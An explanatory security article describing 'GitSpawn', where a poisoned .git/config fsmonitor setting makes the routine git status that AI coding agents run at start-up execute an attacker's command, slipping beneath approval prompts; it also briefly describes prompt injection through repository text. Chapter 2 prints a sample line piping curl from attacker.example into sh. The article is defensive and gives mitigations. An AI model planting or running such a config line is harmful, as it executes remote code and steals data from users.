A calm, sequential guide for anyone who uses AI coding agents. The article is divided into smaller chapters to make it easier to understand.
Most of us learned one rule early and never questioned it: don't run code from a project you don't trust. It served us well for years, because running was a decision. You cloned something, you looked at it, and only when you typed python main.py or pressed a button did anything actually happen. The danger waited politely for your permission.
AI coding agents quietly removed that pause. When you open a project with an agent, it does not sit and wait. It starts working to understand where it is, and part of that work runs before you have typed a single instruction. So the old rule now has a gap in it, and a class of attacks called GitSpawn lives exactly in that gap.
This article walks through it in order: first what the setting even is, then the story of how the attack unfolds, then why it is dangerous, and finally how to protect yourself. Nothing here requires you to be a security expert. It only requires you to see one small setting clearly.
Chapter 1: What fsmonitor Actually Is
Every Git project carries a hidden folder called .git. You never open it, but it is where Git keeps everything it knows about the project, including a small settings file, .git/config, that changes how Git behaves for that one project.
Inside those settings lives an option named core.fsmonitor. Its purpose is completely innocent: it is a speed feature for very large projects.
Here is the problem it was built to solve. Normally, when Git wants to know which files you changed, it checks every single file on disk, one by one. On a small project this is instant. On an enormous one — think hundreds of thousands of files — walking the whole tree every time becomes slow. So fsmonitor offers a shortcut: instead of scanning everything itself, Git can call a small helper program and simply ask it, "what changed since last time?" The helper already knows, so Git gets its answer immediately.
A note on why you have never used this. Almost nobody turns fsmonitor on, and you were right not to. It exists for the few teams working inside gigantic codebases. For a normal model, app, or script, Git is already fast enough, so the setting sits switched off and forgotten. Keep that fact in mind, because — and this is the uncomfortable part — the attack does not need you to turn it on. It only needs the setting to exist as an option, which it always does.
So far there is nothing sinister here. fsmonitor is a performance convenience. The trouble begins with one detail: the "helper program" it points to can be any command at all. Git does not insist it be a real file-watcher. Whatever command is written in that setting, Git will run it. Hold that thought — it is the entire hinge of what follows.
Chapter 2: The Story — git status Ran Their Code
Let us walk through it the way it would actually happen to you.
A colleague — say, someone you trust named Ahmed — finishes a piece of work and sends you the project as a zip file. "Can you take a look at why this isn't working?" You download it, unzip it, and open the folder with your AI coding agent. You have not run the project. You have not approved anything. By the old rule, you are safe.
But the zip was not clean. Somewhere upstream — maybe Ahmed's machine was compromised, maybe the folder passed through a bad hand — someone edited the hidden .git/config inside it and added one line:
[core]
fsmonitor = "sh -c 'curl attacker.example/steal | sh'"
To you this file looks like boring configuration. To Git it is an instruction.
Now your agent does the most ordinary thing an agent can do. To orient itself — to learn which branch you are on and which files have changed — it quietly runs a routine command in the background:
git status
Every agent does this. It is not suspicious; it is how the agent figures out where it is. But git status refreshes Git's index, and refreshing the index is exactly the moment Git honours the fsmonitor setting. So Git reads that poisoned line, sees a "helper program," and runs it — the attacker's command, executing as you, with your permissions, on your machine.
You typed nothing. You approved nothing. The agent had not even finished starting up. A folder somebody sent you ran a command as you, and Git is what ran it.
A note on the one detail that decides everything. This is the piece most write-ups leave out, and it is the most reassuring part of the whole story: a normal git clone cannot deliver this attack. When you clone a project from GitHub, Git deliberately refuses to copy the other machine's local .git/config. Cloning a hostile URL does nothing. Neither does fetch or pull. The poisoned settings can only reach you if the whole folder arrives as files with its .git directory already inside — a zip, a shared drive, a synced folder, a USB stick. That is the narrow doorway the attack walks through, and knowing where the doorway is tells you exactly when to be careful.
Chapter 3: Why This Is Dangerous
At first glance you might think, "an agent runs a command it shouldn't — surely the agent's safety checks catch that." They don't, and the reason is worth stating plainly, because it is the sharpest edge of the whole problem.
Modern agents do ask for your permission — but only for the commands the AI model decides to run. That approval box you see is guarding the model's decisions. GitSpawn fires somewhere else entirely: in the agent's own start-up plumbing, in a background subprocess it spawns to gather context, before the model has even been consulted. As the researchers put it, the approval screen you trust is gating the wrong layer. The dangerous command slips underneath it, unseen and unlogged.
Two things make this serious rather than merely clever:
The first is timing. The code runs the moment the folder opens. On some tools it runs before you have even logged in. There is no "are you sure?" because from the agent's point of view nothing unusual is happening — it is just checking git status, as it always does.
The second is scale. When this was disclosed, the researchers confirmed eight separate findings across seven popular AI coding agents, and several of those paths were still unpatched at the time. These are not obscure tools; between them they are used by an enormous number of developers every day. The flaw was not in any AI model, and not in anything new. It was in the ordinary plumbing underneath — the small subprocess an agent runs at start-up just to work out where it is.
A note on a second, related danger. GitSpawn is about Git running a program. There is a cousin risk worth naming: prompt injection, where a repository contains text — in documentation, instruction files, or agent "skills" — written to trick the AI itself into doing something harmful, like reading your secrets and sending them away. The mechanism is different, but the lesson is the same one, and it is the real takeaway of this whole topic: any file that can change what your agent does is part of your execution environment. A Markdown file is not automatically harmless just because it is "only text." To an agent, text can be an instruction.
Chapter 4: How to Protect Yourself
The good news is that the defences are simple, and they fall into two groups depending on who you are.
If you just use AI coding agents, four habits cover almost all of the risk:
- Keep your agents updated. Vendors have patched many of these paths already. An up-to-date tool is your first and easiest shield.
- Watch the doorway from Chapter 2. Be relaxed about projects you
git clone yourself — those cannot carry the poison. Be careful with projects that arrive as zips, shared folders, or USB sticks, especially from people or places you don't fully trust. That is the only vector that matters.
- Open unknown projects in a sandbox. A container or a throwaway virtual machine means that if something unexpected runs, it runs in a box you can delete, not on your real machine. Crucially, the sandbox has to exist before the agent opens the folder, because the agent may act on the very first read.
- Keep your secrets away from the agent's environment. Cloud keys, tokens, database URLs — ask whether the agent truly needs them nearby. A tool that gets compromised but finds no valuable credentials is far less useful to an attacker.
If you build tools that run Git automatically, there is a direct, one-line fix. Tell Git to ignore the dangerous settings on every command your tool runs in the background:
git -c core.fsmonitor=false status
The -c core.fsmonitor=false part overrides whatever the project's config says, so the trap is skipped. Mature tools bake this in and shut a second door at the same time — Git hooks, another way a repository can run code — by wrapping every Git call like this:
# disable the two settings that can run code, on every git call
GIT_CONFIG_FLAGS = ["-c", "core.fsmonitor=false",
"-c", "core.hooksPath=/dev/null"]
run("git", *GIT_CONFIG_FLAGS, "status")
The Whole Picture at a Glance
It helps to see the chain in one place, because each piece only makes sense next to the others.
| Piece | What it is | Why it matters here |
|---|
core.fsmonitor | A Git speed setting that names a helper program to run | The helper can be any command, so it becomes the weapon |
git status | A routine command the agent runs to orient itself | It refreshes the index, which triggers fsmonitor |
| The delivery | A zip, shared folder, or USB — never a normal clone | This is the only way the poisoned config reaches you |
| The blind spot | Approval prompts guard the model, not the start-up plumbing | The command runs underneath the safety layer, unseen |
| The fix | git -c core.fsmonitor=false status, a sandbox, fewer secrets | Each closes the gap at a different point |
Nothing in this table is exotic. The attack is really just one line of config meeting one ordinary command, in the one moment nobody was watching. And the defence is just as plain: know where the doorway is, and tell Git not to obey a stranger's settings.
The larger lesson outlives this one bug. An AI agent with access to your terminal, your files, and your credentials is a powerful piece of software acting on your behalf. It deserves the same care you would give any other privileged system. Before you point one at an unfamiliar project and say "understand this and fix it," it is worth pausing to ask the quiet question underneath: what exactly am I trusting this folder to tell my agent?
Reference
